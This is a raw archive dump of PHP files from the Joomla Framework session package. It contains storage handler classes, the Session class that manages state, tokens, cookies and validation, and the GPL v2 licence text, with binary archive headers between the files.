Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Session\Storage; use Joomla\Session\Storage; /** * Default PHP configured session handler for Joomla! * * @link https://www.php.net/manual/en/function.session-set-save-handler.php * @since 1.0 * @deprecated 2.0 The Storage class chain will be removed */ class None extends Storage { /** * Register the functions of this class with PHP's session handler * * @return void * * @since 1.0 * @deprecated 2.0 */ public function register() { } } PKÜ�\d��5vendor/joomla/session/Joomla/Session/Storage/Apcu.phpnu�[���<?php /** * Part of the Joomla Framework Session Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Session\Storage; use Joomla\Session\Storage; /** * APCU session storage handler for PHP * * @link https://www.php.net/manual/en/function.session-set-save-handler.php * @since 1.4.0 * @deprecated 2.0 The Storage class chain will be removed. */ class Apcu extends Storage { /** * Constructor * * @param array $options Optional parameters * * @since 1.4.0 * @throws \RuntimeException */ public function __construct($options = array()) { if (!self::isSupported()) { throw new \RuntimeException('APCU Extension is not available', 404); } parent::__construct($options); } /** * Read the data for a particular session identifier from the * SessionHandler backend. * * @param string $id The session identifier. * * @return string The session data. * * @since 1.4.0 */ public function read($id) { $sess_id = 'sess_' . $id; return (string) apcu_fetch($sess_id); } /** * Write session data to the SessionHandler backend. * * @param string $id The session identifier. * @param string $sessionData The session data. * * @return boolean True on success, false otherwise. * * @since 1.4.0 */ public function write($id, $sessionData) { $sess_id = 'sess_' . $id; return apcu_store($sess_id, $sessionData, ini_get('session.gc_maxlifetime')); } /** * Destroy the data for a particular session identifier in the SessionHandler backend. * * @param string $id The session identifier. * * @return boolean True on success, false otherwise. * * @since 1.4.0 */ public function destroy($id) { $sess_id = 'sess_' . $id; return apcu_delete($sess_id); } /** * Test to see if the SessionHandler is available. * * @return boolean True on success, false otherwise. * * @since 1.4.0 */ public static function isSupported() { return \extension_loaded('apcu'); } } PKÜ�\�\�kll9vendor/joomla/session/Joomla/Session/Storage/Memcache.phpnu�[���<?php /** * Part of the Joomla Framework Session Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Session\Storage; use Joomla\Session\Storage; /** * Memcache session storage handler for PHP * * @since 1.0 * @deprecated 2.0 The Storage class chain will be removed */ class Memcache extends Storage { /** * Container for server data * * @var array * @since 1.0 * @deprecated 2.0 */ protected $_servers = array(); /** * Constructor * * @param array $options Optional parameters. * * @since 1.0 * @throws \RuntimeException * @deprecated 2.0 */ public function __construct($options = array()) { if (!self::isSupported()) { throw new \RuntimeException('Memcache Extension is not available', 404); } // This will be an array of loveliness // @todo: multiple servers $this->_servers = array( array( 'host' => isset($options['memcache_server_host']) ? $options['memcache_server_host'] : 'localhost', 'port' => isset($options['memcache_server_port']) ? $options['memcache_server_port'] : 11211, ), ); parent::__construct($options); } /** * Register the functions of this class with PHP's session handler * * @return void * * @since 1.0 * @deprecated 2.0 */ public function register() { if (!headers_sent()) { ini_set('session.save_path', $this->_servers[0]['host'] . ':' . $this->_servers[0]['port']); ini_set('session.save_handler', 'memcache'); } } /** * Test to see if the SessionHandler is available. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public static function isSupported() { return \extension_loaded('memcache') && class_exists('Memcache'); } } PKÜ�\�P�E�E,vendor/joomla/session/Joomla/Session/LICENSEnu�[���GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PKÜ�\����:\:\0vendor/joomla/session/Joomla/Session/Session.phpnu�[���<?php /** * Part of the Joomla Framework Session Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Session; use Joomla\Event\DispatcherInterface; use Joomla\Input\Input; /** * Class for managing HTTP sessions * * Provides access to session-state values as well as session-level * settings and lifetime management methods. * Based on the standard PHP session handling mechanism it provides * more advanced features such as expire timeouts. * * @since 1.0 */ class Session implements \IteratorAggregate { /** * Internal state. * One of 'inactive'|'active'|'expired'|'destroyed'|'error' * * @var string * @see getState() * @since 1.0 */ protected $state = 'inactive'; /** * Maximum age of unused session in minutes * * @var string * @since 1.0 */ protected $expire = 15; /** * The session store object. * * @var Storage * @since 1.0 */ protected $store; /** * Security policy. * List of checks that will be done. * * Default values: * - fix_browser * - fix_adress * * @var array * @since 1.0 */ protected $security = array('fix_browser'); /** * Force cookies to be SSL only * Default false * * @var boolean * @since 1.0 */ protected $force_ssl = false; /** * The domain to use when setting cookies. * * @var mixed * @since 1.0 * @deprecated 2.0 */ protected $cookie_domain; /** * The path to use when setting cookies. * * @var mixed * @since 1.0 * @deprecated 2.0 */ protected $cookie_path; /** * The configuration of the HttpOnly cookie. * * @var mixed * @since 1.5.0 * @deprecated 2.0 */ protected $cookie_httponly = true; /** * The configuration of the SameSite cookie. * * @var mixed * @since 1.5.0 * @deprecated 2.0 */ protected $cookie_samesite; /** * Session instances container. * * @var Session * @since 1.0 * @deprecated 2.0 */ protected static $instance; /** * The type of storage for the session. * * @var string * @since 1.0 * @deprecated 2.0 */ protected $storeName; /** * Holds the Input object * * @var Input * @since 1.0 */ private $input; /** * Holds the Dispatcher object * * @var DispatcherInterface * @since 1.0 */ private $dispatcher; /** * Constructor * * @param string $store The type of storage for the session. * @param array $options Optional parameters * * @since 1.0 */ public function __construct($store = 'none', array $options = array()) { // Need to destroy any existing sessions started with session.auto_start if (session_id()) { session_unset(); session_destroy(); } // Disable transparent sid support ini_set('session.use_trans_sid', '0'); // Only allow the session ID to come from cookies and nothing else. ini_set('session.use_only_cookies', '1'); // Create handler $this->store = Storage::getInstance($store, $options); $this->storeName = $store; // Set options $this->_setOptions($options); $this->_setCookieParams(); $this->setState('inactive'); } /** * Magic method to get read-only access to properties. * * @param string $name Name of property to retrieve * * @return mixed The value of the property * * @since 1.0 * @deprecated 2.0 Use get methods for non-deprecated properties */ public function __get($name) { if ($name === 'storeName' || $name === 'state' || $name === 'expire') { return $this->$name; } } /** * Returns the global Session object, only creating it * if it doesn't already exist. * * @param string $handler The type of session handler. * @param array $options An array of configuration options (for new sessions only). * * @return Session The Session object. * * @since 1.0 * @deprecated 2.0 A singleton object store will no longer be supported */ public static function getInstance($handler, array $options = array()) { if (!\is_object(self::$instance)) { self::$instance = new self($handler, $options); } return self::$instance; } /** * Get current state of session * * @return string The session state * * @since 1.0 */ public function getState() { return $this->state; } /** * Get expiration time in minutes * * @return integer The session expiration time in minutes * * @since 1.0 */ public function getExpire() { return $this->expire; } /** * Get a session token, if a token isn't set yet one will be generated. * * Tokens are used to secure forms from spamming attacks. Once a token * has been generated the system will check the post request to see if * it is present, if not it will invalidate the session. * * @param boolean $forceNew If true, force a new token to be created * * @return string The session token * * @since 1.0 */ public function getToken($forceNew = false) { $token = $this->get('session.token'); // Create a token if ($token === null || $forceNew) { $token = $this->_createToken(); $this->set('session.token', $token); } return $token; } /** * Method to determine if a token exists in the session. If not the * session will be set to expired * * @param string $tCheck Hashed token to be verified * @param boolean $forceExpire If true, expires the session * * @return boolean * * @since 1.0 */ public function hasToken($tCheck, $forceExpire = true) { // Check if a token exists in the session $tStored = $this->get('session.token'); // Check token if (($tStored !== $tCheck)) { if ($forceExpire) { $this->setState('expired'); } return false; } return true; } /** * Retrieve an external iterator. * * @return \ArrayIterator Return an ArrayIterator of $_SESSION. * * @since 1.0 */ public function getIterator() { return new \ArrayIterator($_SESSION); } /** * Get session name * * @return string The session name * * @since 1.0 */ public function getName() { if ($this->getState() === 'destroyed') { // @codingStandardsIgnoreLine return; } return session_name(); } /** * Get session id * * @return string The session name * * @since 1.0 */ public function getId() { if ($this->getState() === 'destroyed') { // @codingStandardsIgnoreLine return; } return session_id(); } /** * Get the session handlers * * @return array An array of available session handlers * * @since 1.0 * @deprecated 2.0 The Storage class chain will be removed */ public static function getStores() { $connectors = array(); // Get an iterator and loop trough the driver classes. $iterator = new \DirectoryIterator(__DIR__ . '/Storage'); foreach ($iterator as $file) { $fileName = $file->getFilename(); // Only load for php files. if (!$file->isFile() || $file->getExtension() != 'php') { continue; } // Derive the class name from the type. $class = str_ireplace('.php', '', '\\Joomla\\Session\\Storage\\' . ucfirst(trim($fileName))); // If the class doesn't exist we have nothing left to do but look at the next type. We did our best. if (!class_exists($class)) { continue; } // Sweet! Our class exists, so now we just need to know if it passes its test method. if ($class::isSupported()) { // Connector names should not have file extensions. $connectors[] = str_ireplace('.php', '', $fileName); } } return $connectors; } /** * Shorthand to check if the session is active * * @return boolean * * @since 1.0 */ public function isActive() { return (bool) ($this->getState() == 'active'); } /** * Check whether this session is currently created * * @return boolean True on success. * * @since 1.0 */ public function isNew() { $counter = $this->get('session.counter'); return (bool) ($counter === 1); } /** * Check whether this session is currently created * * @param Input $input Input object for the session to use. * @param DispatcherInterface $dispatcher Dispatcher object for the session to use. * * @return void * * @since 1.0 * @deprecated 2.0 In 2.0 the DispatcherInterface should be injected via the object constructor */ public function initialise(Input $input, DispatcherInterface $dispatcher = null) { $this->input = $input; $this->dispatcher = $dispatcher; } /** * Get data from the session store * * @param string $name Name of a variable * @param mixed $default Default value of a variable if not set * @param string $namespace Namespace to use, default to 'default' {@deprecated 2.0 Namespace support will be removed.} * * @return mixed Value of a variable * * @since 1.0 */ public function get($name, $default = null, $namespace = 'default') { // Add prefix to namespace to avoid collisions $namespace = '__' . $namespace; if ($this->getState() !== 'active' && $this->getState() !== 'expired') { return; } if (isset($_SESSION[$namespace][$name])) { return $_SESSION[$namespace][$name]; } return $default; } /** * Set data into the session store. * * @param string $name Name of a variable. * @param mixed $value Value of a variable. * @param string $namespace Namespace to use, default to 'default' {@deprecated 2.0 Namespace support will be removed.} * * @return mixed Old value of a variable. * * @since 1.0 */ public function set($name, $value = null, $namespace = 'default') { // Add prefix to namespace to avoid collisions $namespace = '__' . $namespace; if ($this->getState() !== 'active') { return; } $old = isset($_SESSION[$namespace][$name]) ? $_SESSION[$namespace][$name] : null; if ($value === null) { unset($_SESSION[$namespace][$name]); } else { $_SESSION[$namespace][$name] = $value; } return $old; } /** * Check whether data exists in the session store * * @param string $name Name of variable * @param string $namespace Namespace to use, default to 'default' {@deprecated 2.0 Namespace support will be removed.} * * @return boolean True if the variable exists * * @since 1.0 */ public function has($name, $namespace = 'default') { // Add prefix to namespace to avoid collisions. $namespace = '__' . $namespace; if ($this->getState() !== 'active') { // @codingStandardsIgnoreLine return; } return isset($_SESSION[$namespace][$name]); } /** * Unset data from the session store * * @param string $name Name of variable * @param string $namespace Namespace to use, default to 'default' {@deprecated 2.0 Namespace support will be removed.} * * @return mixed The value from session or NULL if not set * * @since 1.0 */ public function clear($name, $namespace = 'default') { // Add prefix to namespace to avoid collisions $namespace = '__' . $namespace; if ($this->getState() !== 'active') { // @TODO :: generated error here return; } $value = null; if (isset($_SESSION[$namespace][$name])) { $value = $_SESSION[$namespace][$name]; unset($_SESSION[$namespace][$name]); } return $value; } /** * Start a session. * * @return void * * @since 1.0 */ public function start() { if ($this->getState() === 'active') { return; } $this->_start(); $this->setState('active'); // Initialise the session $this->_setCounter(); $this->_setTimers(); // Perform security checks $this->_validate(); if ($this->dispatcher instanceof DispatcherInterface) { $this->dispatcher->triggerEvent('onAfterSessionStart'); } } /** * Start a session. * * Creates a session (or resumes the current one based on the state of the session) * * @return boolean true on success * * @since 1.0 * @deprecated 2.0 */ protected function _start() { // Start session if not started if ($this->getState() === 'restart') { session_regenerate_id(true); } else { $session_name = session_name(); // Get the Joomla\Input\Cookie object $cookie = $this->input->cookie; if ($cookie->get($session_name) === null) { $session_clean = $this->input->get($session_name, false, 'string'); if ($session_clean) { session_id($session_clean); $cookie->set($session_name, '', array('expires' => 1)); } } } /** * Write and Close handlers are called after destructing objects since PHP 5.0.5. * Thus destructors can use sessions but session handler can't use objects. * So we are moving session closure before destructing objects. * * Replace with session_register_shutdown() when dropping compatibility with PHP 5.3 */ register_shutdown_function('session_write_close'); session_cache_limiter('none'); session_start(); return true; } /** * Frees all session variables and destroys all data registered to a session * * This method resets the $_SESSION variable and destroys all of the data associated * with the current session in its storage (file or DB). It forces new session to be * started after this method is called. It does not unset the session cookie. * * @return boolean True on success * * @see session_destroy() * @see session_unset() * @since 1.0 */ public function destroy() { // Session was already destroyed if ($this->getState() === 'destroyed') { return true; } /* * In order to kill the session altogether, such as to log the user out, the session id * must also be unset. If a cookie is used to propagate the session id (default behavior), * then the session cookie must be deleted. */ $cookie = session_get_cookie_params(); $cookieOptions = array( 'expires' => 1, 'path' => $cookie['path'], 'domain' => $cookie['domain'], 'secure' => $cookie['secure'], 'httponly' => true, ); if (isset($cookie['samesite'])) { $cookieOptions['samesite'] = $cookie['samesite']; } $this->input->cookie->set($this->getName(), '', $cookieOptions); session_unset(); session_destroy(); $this->setState('destroyed'); return true; } /** * Restart an expired or locked session. * * @return boolean True on success * * @see destroy * @since 1.0 */ public function restart() { $this->destroy(); if ($this->getState() !== 'destroyed') { // @TODO :: generated error here return false; } // Re-register the session handler after a session has been destroyed, to avoid PHP bug $this->store->register(); $this->setState('restart'); // Regenerate session id session_regenerate_id(true); $this->_start(); $this->setState('active'); $this->_validate(); $this->_setCounter(); return true; } /** * Create a new session and copy variables from the old one * * @return boolean $result true on success * * @since 1.0 */ public function fork() { if ($this->getState() !== 'active') { // @TODO :: generated error here return false; } // Keep session config $cookie = session_get_cookie_params(); // Kill session session_destroy(); // Re-register the session store after a session has been destroyed, to avoid PHP bug $this->store->register(); // Restore config if (version_compare(PHP_VERSION, '7.3', '>=')) { session_set_cookie_params($cookie); } else { session_set_cookie_params($cookie['lifetime'], $cookie['path'], $cookie['domain'], $cookie['secure'], $cookie['httponly']); } // Restart session with new id session_regenerate_id(true); session_start(); return true; } /** * Writes session data and ends session * * Session data is usually stored after your script terminated without the need * to call JSession::close(), but as session data is locked to prevent concurrent * writes only one script may operate on a session at any time. When using * framesets together with sessions you will experience the frames loading one * by one due to this locking. You can reduce the time needed to load all the * frames by ending the session as soon as all changes to session variables are * done. * * @return void * * @see session_write_close() * @since 1.0 */ public function close() { session_write_close(); } /** * Set the session expiration * * @param integer $expire Maximum age of unused session in minutes * * @return $this * * @since 1.3.0 */ protected function setExpire($expire) { $this->expire = $expire; return $this; } /** * Set the session state * * @param string $state Internal state * * @return $this * * @since 1.3.0 */ protected function setState($state) { $this->state = $state; return $this; } /** * Set session cookie parameters * * @return void * * @since 1.0 * @deprecated 2.0 */ protected function _setCookieParams() { $cookie = session_get_cookie_params(); if ($this->force_ssl) { $cookie['secure'] = true; } if ($this->cookie_domain) { $cookie['domain'] = $this->cookie_domain; } if ($this->cookie_path) { $cookie['path'] = $this->cookie_path; } $cookie['httponly'] = $this->cookie_httponly; if ($this->cookie_samesite) { $cookie['samesite'] = $this->cookie_samesite; } if (version_compare(PHP_VERSION, '7.3', '>=')) { session_set_cookie_params($cookie); } else { session_set_cookie_params($cookie['lifetime'], $cookie['path'], $cookie['domain'], $cookie['secure'], $cookie['httponly']); } } /** * Create a token-string * * @param integer $length Length of string {@deprecated As of 2.0 the session token will be a fixed length} * * @return string Generated token * * @since 1.0 * @deprecated 2.0 Use createToken instead */ protected function _createToken($length = 32) { return $this->createToken($length); } /** * Create a token-string * * @param integer $length Length of string {@deprecated As of 2.0 the session token will be a fixed length} * * @return string Generated token * * @since 1.3.1 */ protected function createToken($length = 32) { return bin2hex(random_bytes($length)); } /** * Set counter of session usage * * @return boolean True on success * * @since 1.0 * @deprecated 2.0 Use setCounter instead */ protected function _setCounter() { return $this->setCounter(); } /** * Set counter of session usage * * @return boolean True on success * * @since 1.3.0 */ protected function setCounter() { $counter = $this->get('session.counter', 0); ++$counter; $this->set('session.counter', $counter); return true; } /** * Set the session timers * * @return boolean True on success * * @since 1.0 * @deprecated 2.0 Use setTimers instead */ protected function _setTimers() { return $this->setTimers(); } /** * Set the session timers * * @return boolean True on success * * @since 1.3.0 */ protected function setTimers() { if (!$this->has('session.timer.start')) { $start = time(); $this->set('session.timer.start', $start); $this->set('session.timer.last', $start); $this->set('session.timer.now', $start); } $this->set('session.timer.last', $this->get('session.timer.now')); $this->set('session.timer.now', time()); return true; } /** * Set additional session options * * @param array $options List of parameter * * @return boolean True on success * * @since 1.0 * @deprecated 2.0 Use setOptions instead */ protected function _setOptions(array $options) { return $this->setOptions($options); } /** * Set additional session options * * @param array $options List of parameter * * @return boolean True on success * * @since 1.3.0 */ protected function setOptions(array $options) { // Set name if (isset($options['name'])) { session_name(md5($options['name'])); } // Set id if (isset($options['id'])) { session_id($options['id']); } // Set expire time if (isset($options['expire'])) { $this->setExpire($options['expire']); } // Get security options if (isset($options['security'])) { $this->security = explode(',', $options['security']); } if (isset($options['force_ssl'])) { $this->force_ssl = (bool) $options['force_ssl']; } if (isset($options['cookie_domain'])) { $this->cookie_domain = $options['cookie_domain']; } if (isset($options['cookie_path'])) { $this->cookie_path = $options['cookie_path']; } if (isset($options['cookie_httponly'])) { $this->cookie_httponly = (bool) $options['cookie_httponly']; } if (isset($options['cookie_samesite'])) { $this->cookie_samesite = $options['cookie_samesite']; } // Sync the session maxlifetime if (!headers_sent()) { ini_set('session.gc_maxlifetime', $this->getExpire()); } return true; } /** * Do some checks for security reason * * - timeout check (expire) * - ip-fixiation * - browser-fixiation * * If one check failed, session data has to be cleaned. * * @param boolean $restart Reactivate session * * @return boolean True on success * * @link http://shiflett.org/articles/the-truth-about-sessions * @since 1.0 * @deprecated 2.0 Use validate instead */ protected function _validate($restart = false) { return $this->validate($restart); } /** * Do some checks for security reason * * - timeout check (expire) * - ip-fixiation * - browser-fixiation * * If one check failed, session data has to be cleaned. * * @param boolean $restart Reactivate session * * @return boolean True on success * * @link http://shiflett.org/articles/the-truth-about-sessions * @since 1.3.0 */ protected function validate($restart = false) { // Allow to restart a session if ($restart) { $this->setState('active'); $this->set('session.client.address', null); $this->set('session.client.forwarded', null); $this->set('session.token', null); } // Check if session has expired if ($this->getExpire()) { $curTime = $this->get('session.timer.now', 0); $maxTime = $this->get('session.timer.last', 0) + $this->getExpire(); // Empty session variables if ($maxTime < $curTime) { $this->setState('expired'); return false; } } $remoteAddr = $this->input->server->getString('REMOTE_ADDR', ''); // Check for client address if (\in_array('fix_adress', $this->security) && !empty($remoteAddr) && filter_var($remoteAddr, FILTER_VALIDATE_IP) !== false) { $ip = $this->get('session.client.address'); if ($ip === null) { $this->set('session.client.address', $remoteAddr); } elseif ($remoteAddr !== $ip) { $this->setState('error'); return false; } } $xForwardedFor = $this->input->server->getString('HTTP_X_FORWARDED_FOR', ''); // Record proxy forwarded for in the session in case we need it later if (!empty($xForwardedFor) && filter_var($xForwardedFor, FILTER_VALIDATE_IP) !== false) { $this->set('session.client.forwarded', $xForwardedFor); } return true; } } PKÜ�\�P�E�Evendor/joomla/ldap/LICENSEnu�[���GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, 